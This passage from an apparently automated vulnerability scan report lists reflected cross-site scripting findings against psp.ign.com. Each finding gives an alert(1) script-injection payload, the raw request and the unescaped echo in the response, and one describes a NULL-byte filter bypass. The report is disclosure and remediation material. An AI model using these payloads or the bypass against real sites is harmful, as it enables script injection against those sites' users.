Set-Cookie: freq=c-1297043857457v-1n-12mc+1297043857457mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 178481

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>All PSP & PSPgo Ga
...[SNIP]...
(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://psp.ign.com/index/games.html?f3e46"-alert(1)-"b63af14015c=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.411. http://psp.ign.com/index/games.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://psp.ign.com
Path:	/index/games.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7c3d0"><script>alert(1)</script>b2baf9ee6f7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/games.html?7c3d0"><script>alert(1)</script>b2baf9ee6f7=1 HTTP/1.1
Host: psp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:35 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:35 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15004-654772831-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:35 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043855206v-1n-12mc+1297043855206mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 178542

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>All PSP & PSPgo Ga
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://psp.ign.com/index/games.html?7c3d0"><script>alert(1)</script>b2baf9ee6f7=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.412. http://psp.ign.com/index/images.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://psp.ign.com
Path:	/index/images.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4599"><script>alert(1)</script>8a9c4fe026a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/images.html?d4599"><script>alert(1)</script>8a9c4fe026a=1 HTTP/1.1
Host: psp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:35 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:35 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-27586-586800266-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:35 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043855073v-1n-12mc+1297043855073mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 111293

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN PSP: Games, Ch
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://psp.ign.com/index/images.html?d4599"><script>alert(1)</script>8a9c4fe026a=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.413. http://psp.ign.com/index/images.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://psp.ign.com
Path:	/index/images.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b5272"-alert(1)-"ce15808ee67 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/images.html?b5272"-alert(1)-"ce15808ee67=1 HTTP/1.1
Host: psp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:37 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:37 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-24287-552132238-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:37 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043857459v-1n-12mc+1297043857459mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 111232

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN PSP: Games, Ch
...[SNIP]...
typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://psp.ign.com/index/images.html?b5272"-alert(1)-"ce15808ee67=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.414. http://psp.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://psp.ign.com
Path:	/index/latest-updates.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e2003"><script>alert(1)</script>c94d896fd69 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/latest-updates.html?e2003"><script>alert(1)</script>c94d896fd69=1 HTTP/1.1
Host: psp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:35 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:35 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-3558-959178925-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:34 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043854790v-1n-12mc+1297043854790mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 141821

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://psp.ign.com/index/latest-updates.html?e2003"><script>alert(1)</script>c94d896fd69=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.415. http://psp.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://psp.ign.com
Path:	/index/latest-updates.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cccd9"-alert(1)-"8f516ee96e5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/latest-updates.html?cccd9"-alert(1)-"8f516ee96e5=1 HTTP/1.1
Host: psp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:37 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:37 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-25644-529794092-21;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:36 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043856848v-1n-12mc+1297043856848mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 141547

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://psp.ign.com/index/latest-updates.html?cccd9"-alert(1)-"8f516ee96e5=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.416. http://psp.ign.com/index/latest-updates.html [types parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://psp.ign.com
Path:	/index/latest-updates.html

Issue detail

The value of the types request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c6631"><script>alert(1)</script>d6cd819c055 was submitted in the types parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/latest-updates.html?types=allc6631"><script>alert(1)</script>d6cd819c055 HTTP/1.1
Host: psp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:41 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:41 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13272-1785322725-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:41 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043861241v-1n-12mc+1297043861241mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 116269

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://psp.ign.com/index/latest-updates.html?types=allc6631"><script>alert(1)</script>d6cd819c055&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.417. http://psp.ign.com/index/latest-updates.html [types parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://psp.ign.com
Path:	/index/latest-updates.html

Issue detail

The value of the types request parameter is copied into an HTML comment. The payload 2ac4f--><script>alert(1)</script>639feac8e77 was submitted in the types parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /index/latest-updates.html?types=all2ac4f--><script>alert(1)</script>639feac8e77 HTTP/1.1
Host: psp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:49 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:49 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-22329-724329337-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:48 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043868882v-1n-12mc+1297043868882mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 116300

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><script>alert(1)</script>639feac8e77&startDate=20110107&endDate=20110206 -->
...[SNIP]...

3.418. http://psp.ign.com/index/latest-updates.html [types parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://psp.ign.com
Path:	/index/latest-updates.html

Issue detail

The value of the types request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8d2a7"-alert(1)-"f3c74b87739 was submitted in the types parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/latest-updates.html?types=all8d2a7"-alert(1)-"f3c74b87739 HTTP/1.1
Host: psp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:46 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:46 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-24874-1315950866-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:43 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043863200v-1n-12mc+1297043863200mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 115837

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
uard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://psp.ign.com/index/latest-updates.html?types=all8d2a7"-alert(1)-"f3c74b87739",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.419. http://psp.ign.com/index/news.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://psp.ign.com
Path:	/index/news.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 62ace"><script>alert(1)</script>34afae532c7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/news.html?62ace"><script>alert(1)</script>34afae532c7=1 HTTP/1.1
Host: psp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:12 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:12 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-25644-1752191625-10;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:11 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043831905v-1n-12mc+1297043831905mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 130938

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN PSP: Games, Ch
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://psp.ign.com/index/news.html?62ace"><script>alert(1)</script>34afae532c7=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.420. http://psp.ign.com/index/news.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://psp.ign.com
Path:	/index/news.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 527a1"-alert(1)-"690d68b5a97 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/news.html?527a1"-alert(1)-"690d68b5a97=1 HTTP/1.1
Host: psp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:14 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:14 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15004-21058642-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:14 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043834711v-1n-12mc+1297043834711mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 129430

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN PSP: Games, Ch
...[SNIP]...
f(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://psp.ign.com/index/news.html?527a1"-alert(1)-"690d68b5a97=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.421. http://psp.ign.com/index/previews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://psp.ign.com
Path:	/index/previews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f8a5e"-alert(1)-"1d4cea38ea6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/previews.html?f8a5e"-alert(1)-"1d4cea38ea6=1 HTTP/1.1
Host: psp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:19 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:19 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18740-1291256218-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:19 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043839542v-1n-12mc+1297043839542mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 110445

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN PSP: Games, Ch
...[SNIP]...
peof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://psp.ign.com/index/previews.html?f8a5e"-alert(1)-"1d4cea38ea6=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.422. http://psp.ign.com/index/previews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://psp.ign.com
Path:	/index/previews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4aa34"><script>alert(1)</script>fd35f539c83 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/previews.html?4aa34"><script>alert(1)</script>fd35f539c83=1 HTTP/1.1
Host: psp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:10 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:10 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-23694-1143360919-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:10 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043830165v-1n-12mc+1297043830165mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 110505

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN PSP: Games, Ch
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://psp.ign.com/index/previews.html?4aa34"><script>alert(1)</script>fd35f539c83=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.423. http://psp.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://psp.ign.com
Path:	/index/reviews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 99f6c"><script>alert(1)</script>5ee11b38c47 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/reviews.html?99f6c"><script>alert(1)</script>5ee11b38c47=1 HTTP/1.1
Host: psp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:26 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:26 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18740-1618528728-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:26 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043846388v-1n-12mc+1297043846388mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 169527

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>New PSP & PSPgo Re
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://psp.ign.com/index/reviews.html?99f6c"><script>alert(1)</script>5ee11b38c47=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.424. http://psp.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://psp.ign.com
Path:	/index/reviews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c6d42"-alert(1)-"27e5919a050 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/reviews.html?c6d42"-alert(1)-"27e5919a050=1 HTTP/1.1
Host: psp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:29 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:29 GMT
Connection: close
